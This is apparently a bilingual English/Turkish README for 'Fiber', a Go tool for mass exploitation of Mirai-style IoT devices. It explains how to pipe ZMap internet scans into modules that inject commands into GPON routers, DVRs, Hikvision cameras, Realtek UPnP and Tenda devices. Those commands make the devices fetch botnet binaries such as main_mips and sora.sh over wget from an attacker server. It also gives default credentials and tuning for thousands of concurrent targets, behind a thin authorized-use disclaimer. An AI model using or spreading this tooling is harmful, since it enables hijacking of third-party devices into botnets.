## https://sploitus.com/exploit?id=61CCFE78-3597-5B78-B86D-824C3506DF4A
# Fiber — Mass Mirai IoT Exploit
**Languages:** [English](#english) · [Türkçe](#türkçe)
---
## English
This repository contains a Go project that performs **automated checks and exploitation attempts** against certain network devices. Use **only** in authorized environments (your own lab, contracted penetration tests, defensive research). Unauthorized scanning or attacks are **illegal**; you are solely responsible.
### What does it do?
`fiber` runs as a single binary; it reads **IPv4 addresses from stdin** (one per line, or `ip:port`). For each IP it tries the following modules on configured **ports**:
| Module | Summary |
|--------|---------|
| **GPON (Boa)** | Response check (`Server: Boa/0.93.15`-like), form logins, command injection via `formTracert` |
| **DVR shell** | GET to `/shell`, `/Shell`, `/cgi-bin/shell` command chains |
| **Hikvision** | Similar download chain via ISAPI / shell paths |
| **Baicells** | Weak config / injection path (ARM7 binary path via env) |
| **Realtek UPnP** | SOAP / wget chain over UDP `52869` (or `FIBER_REALTEK_PORT`) |
| **Zhone** | Pre-encoded wget payload |
| **Dvrr (Hi3520)** | `/dvr/cmd`, `/cn/cmd` and credential attempts |
| **Tenda** | Cron injection attempts with default/custom credentials |
| **IP camera (NTP)** | Download command via NTP server field |
Output includes a continuously updated **stats line**: attempted targets (A), in-flight work (W), GPON found/login/exploit, DVR, Hikvision, Baicells, Realtek, Zhone, Dvrr, Tenda, IP camera counters.
Under `standalone/` there are separate PoCs (Python/Go); helper scripts such as `sg.sh` are included.
### Requirements
- **Go** 1.19+ (see `go.mod`)
- Optional: **[ZMap](https://github.com/zmap/zmap)** — for live internet scans (common on Linux)
### Build
Build the **whole package**; a single file is not enough.
```bash
cd fiber
go build -o fiber .
```
On Windows the output may be `fiber.exe`: `go build -o fiber.exe .`
### Usage
**1) Pipe an IP list (main mode)**
```bash
echo "192.0.2.10" | ./fiber
cat ipler.txt | ./fiber
zmap -p 80 -w subnet.txt -q | ./fiber
```
Default scan ports: **80, 81, 88, 8080** (`defaultExploitPorts` in code).
**2) Customize ports**
```bash
./fiber 80,8080
# or via env:
export FIBER_PORTS=80,443,8080
./fiber
```
**3) Run from an interactive terminal (stdin TTY)**
If stdin is a **TTY** (no pipe), the program exits to avoid accidental empty scans.
**For testing only** (e.g. pasting one line):
```bash
FIBER_ALLOW_STDIN_TTY=1 ./fiber
```
**4) Bulk scan with ZMap (`zscan.sh`)**
```bash
chmod +x zscan.sh
# Default list: ./all.lst — optional arg: another whitelist file
./zscan.sh
./zscan.sh /path/to/list.txt
```
The script pipes `zmap` output on 80/81/88/8080 into `./fiber`.
### Server IP and binary paths
HTTP downloads use **`FIBER_SERVER_IP` / `SERVER_IP`** as the base server (fallback in code: `YOURIP`). Paths are usually **`http:///bins/...`**.
**Environment (recommended)**
```bash
export FIBER_SERVER_IP=203.0.113.50
# Legacy name also works:
export SERVER_IP=203.0.113.50
./fiber
```
This IP is injected into payloads automatically (no file edits required).
**Hard-coded paths (edit if needed)**
| File | What it affects |
|------|-----------------|
| `exploits.go` → `buildGponPayload()` | GPON: `wget http://IP/bins/main_mips ...` |
| `exploits.go` → `buildIpcamPayload`, DVR/Hikvision commands | `sora.sh` and wget lines |
| `config.go` → `initPayloads()` | Zhone encoded wget, **dvrr** `sora.sh`, **Tenda** cron wget |
| `realtek.go` | `FIBER_REALTEK_BIN` (default `/bins/main_mips`) |
| `baicells.go` | `FIBER_BAICELLS_BIN` (default `/bins/main_arm7`) |
| `standalone/zhone.go` | `YOURIP` and `/bins/main_mips` string |
| `standalone/dvrr.go`, `standalone/comtrend.go` | Embedded IP / `bins` paths |
| `sg.sh` | `BASE="http://.../bins"` — multi-arch `main_*` download script |
**Change binary paths via env only (Realtek / Baicells)**
```bash
export FIBER_REALTEK_BIN=/bins/main_mips
export FIBER_REALTEK_PORT=52869
export FIBER_REALTEK=1 # set 0 to disable
export FIBER_BAICELLS_BIN=/bins/main_arm7
export FIBER_BAICELLS_LOCAL=s.b
export FIBER_BAICELLS_ARG=arm7.wget
```
On the server, files are usually laid out under web root in a **`bins/`** folder (`main_mips`, `main_arm7`, `sora.sh`, etc.).
### Other environment variables
| Variable | Description | Default (summary) |
|----------|-------------|-------------------|
| `FIBER_SERVER_IP` / `SERVER_IP` | Download server IPv4 | Fallback IP in code |
| `FIBER_CONN_LIMIT` | Concurrent connection cap (semaphore) | 500 |
| `FIBER_MAX_WORKERS` | Max concurrent target goroutines | 2000 |
| `FIBER_TIMEOUT_SEC` | TCP read/write timeout (s) | 12 |
| `FIBER_CHECK_TIMEOUT_SEC` | Timeout for check connections | 8 |
| `FIBER_DVRR_SLEEP_MS` | Sleep in Dvrr flow | 3000 |
| `FIBER_DEBUG` | `1` / `true` → verbose stderr | off |
| `FIBER_SCANNER_MAX_MB` | stdin line buffer cap (MB) | 10 |
| `FIBER_PORTS` | Comma-separated ports | 80,81,88,8080 |
| `FIBER_GPON_CREDS` | GPON user:pass file path | — (embedded list) |
| `FIBER_ZHONE_CREDS` | Zhone credential file | — |
| `FIBER_DVRR_CREDS` | Dvrr credential file | — |
| `FIBER_TENDA_USER` / `FIBER_TENDA_PASS` / `FIBER_TENDA_NEWPASS` | Tenda | telecomadmin / superadmin |
| `FIBER_ALLOW_STDIN_TTY` | Allow running from TTY | empty = disallowed |
Credential file format: one `user:pass` per line, `#` comments, blank lines ignored (`credentials.go`).
### Safe testing tips
1. **Isolated network / VM** — do not use production or unauthorized ranges.
2. **Your devices or contracted targets** — only systems you own or have written permission to test.
3. **Local HTTP server** — set `FIBER_SERVER_IP` to a lab IP; verify with `wget`/`curl` that files under `bins/` are served.
4. **Smoke test with one IP:**
```bash
echo "192.0.2.1" | FIBER_SERVER_IP=192.0.2.1 ./fiber 80
```
5. Confirm **A** (attempted) increases in the stats line; without a pipe the program exits by design.
### Help
```bash
./fiber -h
./fiber --help
```
### License and disclaimer
This software is provided “as is.” Authors are not liable for misuse. Comply with computer crime and telecommunications laws in your jurisdiction.
### Summary
- **Build:** `go build -o fiber .`
- **Run:** `( IP list ) | ./fiber` — ports: `./fiber 80,8080` or `FIBER_PORTS`
- **Server IP:** `FIBER_SERVER_IP` (or `SERVER_IP`)
- **Some binary paths:** `FIBER_REALTEK_BIN`, `FIBER_BAICELLS_BIN`; others in `exploits.go` / `config.go` / `sg.sh`
- **Lab test:** `echo "IP" | ./fiber` or limited runs with `FIBER_ALLOW_STDIN_TTY=1`
Open an issue for questions; use in production or on unauthorized networks is not supported.
---
## Türkçe
Bu depo, belirli ağ cihazlarına yönelik **otomatik kontroller ve istismar denemeleri** içeren bir Go projesidir. Yalnızca **izin verilen ortamlarda** (kendi lab’ınız, yazılı izinli pentest, savunma araştırması) kullanılmalıdır. İzinsiz tarama veya saldırı **yasadışıdır**; sorumluluk tamamen kullanıcıdadır.
### Proje ne yapıyor?
`fiber` tek bir ikili dosya olarak çalışır; **stdin’den IPv4 adresleri** okur (satır başına bir IP veya `ip:port` formatı). Her IP için yapılandırılan **portlarda** sırayla şu modülleri dener:
| Modül | Kısa açıklama |
|--------|----------------|
| **GPON (Boa)** | `Server: Boa/0.93.15` benzeri yanıt kontrolü, form login denemeleri, `formTracert` üzerinden komut enjeksiyonu |
| **DVR shell** | `/shell`, `/Shell`, `/cgi-bin/shell` GET ile komut zinciri |
| **Hikvision** | ISAPI / shell yolları üzerinden benzer yükleme zinciri |
| **Baicells** | Zayıf yapılandırma / enjeksiyon yolu (ARM7 vb. ikili yolu env ile) |
| **Realtek UPnP** | UDP `52869` (veya `FIBER_REALTEK_PORT`) üzerinden SOAP / wget zinciri |
| **Zhone** | Önceden kodlanmış wget yükü |
| **Dvrr (Hi3520)** | `/dvr/cmd`, `/cn/cmd` ve kimlik doğrulama denemeleri |
| **Tenda** | Varsayılan/özel kullanıcı-şifre ile cron enjekte denemeleri |
| **IP kamera (NTP)** | NTP sunucu alanı üzerinden yük komutu |
Çıktıda sürekli güncellenen bir **istatistik satırı** görürsünüz: denenen hedef sayısı (A), eşzamanlı iş (W), GPON bulundu/giriş/istismar, DVR, Hikvision, Baicells, Realtek, Zhone, Dvrr, Tenda, IP kamera sayaçları.
`standalone/` altında ayrı PoC’ler (Python/Go), `sg.sh` gibi yardımcı script’ler vardır.
### Gereksinimler
- **Go** 1.19+ (`go.mod` ile uyumlu)
- Opsiyonel: **[ZMap](https://github.com/zmap/zmap)** — canlı internet taraması için (Linux’ta yaygın)
### Derleme
Proje **paket olarak** derlenir; tek dosya (`fiber.go`) yeterli değildir.
```bash
cd fiber
go build -o fiber .
```
Windows’ta çıktı adı `fiber.exe` olabilir: `go build -o fiber.exe .`
### Nasıl çalıştırılır?
**1) IP listesini pipe ile vermek (asıl kullanım)**
```bash
echo "192.0.2.10" | ./fiber
cat ipler.txt | ./fiber
zmap -p 80 -w subnet.txt -q | ./fiber
```
Varsayılan tarama portları: **80, 81, 88, 8080** (kod içi `defaultExploitPorts`).
**2) Portları özelleştirmek**
```bash
./fiber 80,8080
# veya ortam:
export FIBER_PORTS=80,443,8080
./fiber
```
**3) Terminalden doğrudan çalıştırma (stdin TTY)**
Program, stdin bir **terminal** ise (pipe yok) çıkış yapar; böylece yanlışlıkla boş tarama yapılmaz.
**Sadece test için** (ör. elle bir satır yapıştıracaksanız):
```bash
FIBER_ALLOW_STDIN_TTY=1 ./fiber
```
**4) ZMap ile toplu tarama (`zscan.sh`)**
```bash
chmod +x zscan.sh
# Varsayılan liste: ./all.lst — isteğe bağlı argüman: başka whitelist dosyası
./zscan.sh
./zscan.sh /path/to/list.txt
```
Script, 80/81/88/8080 için `zmap` çıktısını `./fiber`’a pipe eder.
### Sunucu IP’si ve ikili (bin) yollarını nereden değiştirirsiniz?
Tüm HTTP indirmelerde **taban sunucu** varsayılan olarak `FIBER_SERVER_IP` / `SERVER_IP` ile belirlenir (kodda yedek: `YOURIP`). Yol yapısı çoğu yerde **`http:///bins/...`** şeklindedir.
**Ortam değişkeni (önerilen)**
```bash
export FIBER_SERVER_IP=203.0.113.50
# Eski isim de desteklenir:
export SERVER_IP=203.0.113.50
./fiber
```
Bu IP, aşağıdaki payload’larda otomatik kullanılır (dosya düzenlemenize gerek kalmaz).
**Kaynak kodda sabit yollar (gerekirse düzenleme)**
| Dosya | Ne değişir |
|--------|------------|
| `exploits.go` → `buildGponPayload()` | GPON: `wget http://IP/bins/main_mips ...` |
| `exploits.go` → `buildIpcamPayload`, DVR/Hikvision komutları | `sora.sh` ve wget satırları |
| `config.go` → `initPayloads()` | Zhone önceden kodlanmış wget, **dvrr** `sora.sh`, **Tenda** cron wget |
| `realtek.go` | `FIBER_REALTEK_BIN` (varsayılan `/bins/main_mips`) |
| `baicells.go` | `FIBER_BAICELLS_BIN` (varsayılan `/bins/main_arm7`) |
| `standalone/zhone.go` | `YOURIP` ve `/bins/main_mips` string’i |
| `standalone/dvrr.go`, `standalone/comtrend.go` | Gömülü IP / `bins` yolları |
| `sg.sh` | `BASE="http://.../bins"` — çoklu mimari `main_*` indirme script’i |
**Sadece ortam ile ikili yolu değiştirme (Realtek / Baicells)**
```bash
export FIBER_REALTEK_BIN=/bins/main_mips
export FIBER_REALTEK_PORT=52869
export FIBER_REALTEK=1 # kapatmak için 0
export FIBER_BAICELLS_BIN=/bins/main_arm7
export FIBER_BAICELLS_LOCAL=s.b
export FIBER_BAICELLS_ARG=arm7.wget
```
Sunucu tarafında dosyalar genelde şu mantıkla hizalanır: web kökü altında `bins/` klasörü, içinde `main_mips`, `main_arm7`, `sora.sh` vb.
### Diğer ortam değişkenleri
| Değişken | Açıklama | Varsayılan (özet) |
|----------|-----------|-------------------|
| `FIBER_SERVER_IP` / `SERVER_IP` | İndirme sunucusu IPv4 | Kod içi yedek IP |
| `FIBER_CONN_LIMIT` | Eşzamanlı bağlantı sınırı (semaphore) | 500 |
| `FIBER_MAX_WORKERS` | Eşzamanlı hedef goroutine üst sınırı | 2000 |
| `FIBER_TIMEOUT_SEC` | TCP yazma/okuma süresi (sn) | 12 |
| `FIBER_CHECK_TIMEOUT_SEC` | Kontrol bağlantıları için süre | 8 |
| `FIBER_DVRR_SLEEP_MS` | Dvrr akışında bekleme | 3000 |
| `FIBER_DEBUG` | `1` / `true` → ayrıntılı stderr | kapalı |
| `FIBER_SCANNER_MAX_MB` | stdin satır tamponu üst sınırı (MB) | 10 |
| `FIBER_PORTS` | Virgüllü port listesi | 80,81,88,8080 |
| `FIBER_GPON_CREDS` | GPON kullanıcı:şifre dosyası yolu | — (gömülü liste kullanılır) |
| `FIBER_ZHONE_CREDS` | Zhone kimlik dosyası | — |
| `FIBER_DVRR_CREDS` | Dvrr kimlik dosyası | — |
| `FIBER_TENDA_USER` / `FIBER_TENDA_PASS` / `FIBER_TENDA_NEWPASS` | Tenda | telecomadmin / superadmin |
| `FIBER_ALLOW_STDIN_TTY` | TTY’den çalışmaya izin | boş = yasak |
Kimlik dosyası formatı: satır başına `kullanıcı:şifre`, `#` ile yorum, boş satırlar yok sayılır (`credentials.go`).
### Güvenli test önerisi
1. **İzole ağ / VM**: Gerçek üretim veya izinsiz aralıklar kullanmayın.
2. **Kendi cihazınız veya sözleşmeli hedef**: Yalnızca sahibi olduğunuz veya yazılı izinli sistemler.
3. **Yerel HTTP sunucusu**: `FIBER_SERVER_IP` olarak lab içi bir IP verin; `wget`/`curl` ile `bins/` altındaki dosyaların gerçekten servis edildiğini doğrulayın.
4. **Tek IP ile duman testi:**
```bash
echo "192.0.2.1" | FIBER_SERVER_IP=192.0.2.1 ./fiber 80
```
5. İstatistik satırında **A** (attempted) arttığını doğrulayın; pipe yoksa program bilerek çıkar.
### Yardım çıktısı
```bash
./fiber -h
# veya
./fiber --help
```
### Lisans ve sorumluluk
Bu yazılım “olduğu gibi” sunulur. Kötüye kullanımdan yazarlar sorumlu tutulamaz. Ülkenizdeki bilgisayar suçları ve telekomünikasyon mevzuatına uyun.
### Özet
- **Derleme:** `go build -o fiber .`
- **Çalıştırma:** `( IP listesi ) | ./fiber` — portlar: `./fiber 80,8080` veya `FIBER_PORTS`
- **Sunucu IP:** `FIBER_SERVER_IP` (veya `SERVER_IP`)
- **Bazı ikili yolları:** `FIBER_REALTEK_BIN`, `FIBER_BAICELLS_BIN`; diğerleri `exploits.go` / `config.go` / `sg.sh` içinde
- **Lab testi:** `echo "IP" | ./fiber` veya `FIBER_ALLOW_STDIN_TTY=1` ile sınırlı deneme
Sorular için issue açabilirsiniz; üretim ortamında veya izinsiz ağlarda kullanım desteklenmez.